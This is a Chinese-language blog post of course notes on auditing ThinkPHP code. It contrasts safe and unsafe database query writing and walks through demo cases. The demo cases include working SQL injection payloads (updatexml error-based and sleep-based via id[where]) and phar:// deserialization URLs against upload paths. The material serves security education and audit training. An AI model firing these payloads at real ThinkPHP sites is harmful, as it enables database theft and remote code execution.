DAY110代码审计-PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

https://blog.csdn.net/m0_60571842/article/details/139057898

看这个原作者

知识点:

1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞

框架审计总结方向:

1、版本不安全写法怎么检测

-本地复现版本写法对比(不是官方写法就是不安全写法)

-参考官方开发手册写法

2、版本自身的漏洞怎么检测

-平常多关注此类框架漏洞

https://github.com/hughink/Thinkphp-All-vuln

-配合黑盒工具检测找入

3、版本自身的漏洞怎么利用

根据漏洞提示找满足条件实现调用

满足条件:对应的函数点和可控变量

一、演示案例-PHP框架审计- ThinkPHP5-不安全写法&版本漏洞

搭建环境:

ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql

  • 1

开发参考:

https://www.kancloud.cn/manual/thinkphp5_1/353946https://www.kancloud.cn/manual/thinkphp5_1/353946

1、解释TP框架开发的源码审计要点

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口文件

4、参考开发手册学习寻找URL对应文件

5、参考开发手册学习如何开启调试模式

开启调试模式:/config/app.php

'app_debug' => true,

'app_trace' => true,

6、参考开发手册学习官方写法和不安全写法。

数据库查询操作
官方写法 预编译机制

public function login(Request $request)

{

id=request->param('id');

data=Db::table('cw_admin')-\>where('id',id)->find();

return data\['user'\].'\|'.data['pass'];

}

有回显

报错注入语句:

Home | Digital Business Services | TP

版本漏洞 反序列化phar

/index.php/index/login/file_check?f=phar://./1.png

二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:

Phpstudy_Pro+PHP7.3+Apache+Mysql

1

1、查看版本-thinkphp/base.php(搜version找)

define('THINK_VERSION', '5.0.24');

2、找不安全写法-搜where找拼接&黑盒工具

文件:application/bbs/controller/User.php

方法:xiaoxidel

参数:ids id

先登录看下路由地址

application/bbs/controller/User.php

3、application/bbs/controller/User.php(需要注册个用户才能触发)

index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

问题在where语句是直接拼接SQL-where("id ={$id}")

如改为数组的传参就能修复此处问题-where("id",$id)

黑盒工具-入口不安全写法-SQL注入

文件:application/bbs/controller/User.php

方法:home

参数:ids id

/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 ApacheMysql

1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

const THINK_VERSION = '3.2.3';

2、版本漏洞-SQL注入

Thinkphp3.2.3-漏洞审计汇总 - FreeBuf网络安全行业门户

3、找利用点-搜实现关键字

Application/Admin/Controller/ArticleController.class.php

$data = M('Article')->find(I('id'));

Application/Admin/Controller/ArticleController.class.php

http://shcoolcms//index.php?m=admin\&c=Article\&a=SaveInfo\&id=1

4、Poc构造-利用数据库监控组合注入

/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#

四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化

搭建环境:Phpstudy_Pro+PHP7.3+Apache+ Mysql

1、查看版本-thinkphp/ library****/think/App.php(搜version找)****

const VERSION = '5.1.41 LTS';

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

路由逻辑分析

/admin.php/update/rmdirr.html?

dirname=phar://./public/upload/menubg/6543297dcccb9.png

/public/upload/userimages/6731d8db58e3a.png

/admin.php/update/rmdirr.html?dirname=phar://./public/upload/userimages/6731d928465e8.png

/public/upload/userimages/6731d928465e8.png

相关推荐
青出于兰8 分钟前
C语言| 指针变量的定义
c语言·开发语言
玉笥寻珍21 分钟前
筑牢信息安全防线:涉密计算机与互联网隔离的理论实践与风险防控
开发语言·计算机网络·安全·计算机外设·php·安全架构·安全性测试
蓝莓味柯基26 分钟前
Lodash isEqual 方法源码实现分析
开发语言
秋野酱36 分钟前
python项目参考文献
开发语言·python
uwvwko1 小时前
BUUCTF——web刷题第一页题解
android·前端·数据库·php·web·ctf
可怜的Tom被玩弄于股掌之中1 小时前
BUUCTF——Nmap
网络·安全·web安全·网络安全
lsswear1 小时前
php fiber 应用
开发语言·php
(・Д・)ノ1 小时前
python打卡day28
开发语言·python
保利九里1 小时前
java中的方法详解
java·开发语言·python
灏瀚星空2 小时前
Python标准库完全指南:os、sys与math模块详解与实战应用
开发语言·python·microsoft